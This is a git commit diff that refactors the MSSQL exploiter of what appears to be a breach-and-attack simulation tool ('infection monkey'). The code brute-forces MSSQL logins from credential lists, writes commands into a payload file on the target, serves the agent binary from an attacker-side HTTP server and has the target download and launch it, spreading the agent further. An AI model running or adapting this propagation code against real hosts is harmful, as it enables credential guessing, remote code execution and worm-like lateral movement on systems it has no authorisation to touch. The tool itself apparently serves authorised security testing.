Agent: Refactor mssqlexec.py to fit the new puppet infrastructure

This commit is contained in:
vakarisz 2022-03-14 12:11:28 +02:00 committed by vakaris_zilius
parent 4fcb28516d
commit 50a8bf8f4a
2 changed files with 35 additions and 26 deletions

View File

@ -5,13 +5,17 @@ from time import sleep
import pymssql import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import DROPPER_ARG from infection_monkey.model import DROPPER_ARG
from infection_monkey.transport import LockedHTTPServer
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -42,25 +46,26 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^'{http_path}^' , ^'{dst_path}^')" "DownloadFile(^'{http_path}^' , ^'{dst_path}^')"
) )
def __init__(self, host): def __init__(self):
super(MSSQLExploiter, self).__init__(host) super().__init__()
self.cursor = None self.cursor = None
self.monkey_server = None self.agent_http_path = None
self.payload_file_path = os.path.join( self.payload_file_path = os.path.join(
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
) )
def _exploit_host(self): def _exploit_host(self) -> ExploiterResultData:
""" """
First this method brute forces to get the mssql connection (cursor). First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and Also, don't forget to start_monkey_server() before self.upload_monkey() and
self.stop_monkey_server() after self.stop_monkey_server() after
""" """
# Brute force to get connection # Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() creds = generate_identity_secret_pairs(
self.cursor = self.brute_force( self.options["credentials"]["exploit_user_list"],
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list self.options["credentials"]["exploit_password_list"],
) )
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
# Create dir for payload # Create dir for payload
self.create_temp_dir() self.create_temp_dir()
@ -68,9 +73,9 @@ class MSSQLExploiter(HostExploiter):
try: try:
self.create_empty_payload_file() self.create_empty_payload_file()
self.start_monkey_server() http_thread = self.start_monkey_server()
self.upload_monkey() self.upload_monkey()
self.stop_monkey_server() MSSQLExploiter._stop_monkey_server(http_thread)
# Clear payload to pass in another command # Clear payload to pass in another command
self.create_empty_payload_file() self.create_empty_payload_file()
@ -81,7 +86,8 @@ class MSSQLExploiter(HostExploiter):
except Exception as e: except Exception as e:
raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2])
return True self.exploit_result.propagation_success = True
return self.exploit_result
def run_payload_file(self): def run_payload_file(self):
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
@ -132,12 +138,17 @@ class MSSQLExploiter(HostExploiter):
) )
self.run_mssql_command(tmp_dir_removal_command) self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self): def start_monkey_server(self) -> LockedHTTPServer:
self.monkey_server = MonkeyHTTPServer(self.host) monkey_src = try_get_target_monkey(self.host)
self.monkey_server.start() self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, monkey_src, self.agent_repository
)
return http_thread
def stop_monkey_server(self): @staticmethod
self.monkey_server.stop() def _stop_monkey_server(http_thread):
http_thread.stop()
http_thread.join(LONG_REQUEST_TIMEOUT)
def write_download_command_to_payload(self): def write_download_command_to_payload(self):
monkey_download_command = self.get_monkey_download_command() monkey_download_command = self.get_monkey_download_command()
@ -145,9 +156,9 @@ class MSSQLExploiter(HostExploiter):
return monkey_download_command return monkey_download_command
def get_monkey_launch_command(self): def get_monkey_launch_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path) dst_path = get_monkey_dest_path(self.agent_http_path)
# Form monkey's launch command # Form monkey's launch command
monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path)
suffix = ">>{}".format(self.payload_file_path) suffix = ">>{}".format(self.payload_file_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
return MSSQLLimitedSizePayload( return MSSQLLimitedSizePayload(
@ -157,9 +168,9 @@ class MSSQLExploiter(HostExploiter):
) )
def get_monkey_download_command(self): def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path) dst_path = get_monkey_dest_path(self.agent_http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
http_path=self.monkey_server.http_path, dst_path=dst_path http_path=self.agent_http_path, dst_path=dst_path
) )
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
@ -194,9 +205,9 @@ class MSSQLExploiter(HostExploiter):
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
) )
logger.info( logger.info(
"Successfully connected to host: {0}, using user: {1}, password (" f"Successfully connected to host: {host} using user: {user} and password"
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
) )
self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password) self.report_login_attempt(True, user, password)
cursor = conn.cursor() cursor = conn.cursor()

View File

@ -1,6 +1,4 @@
import logging import logging
import os
import os.path
import urllib.error import urllib.error
import urllib.parse import urllib.parse
import urllib.request import urllib.request
@ -30,7 +28,7 @@ class HTTPTools(object):
@staticmethod @staticmethod
def create_locked_transfer( def create_locked_transfer(
host, dropper_target_path, agent_repository, local_ip=None, local_port=None host, dropper_target_path, agent_repository, local_ip=None, local_port=None
): ) -> LockedHTTPServer:
""" """
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information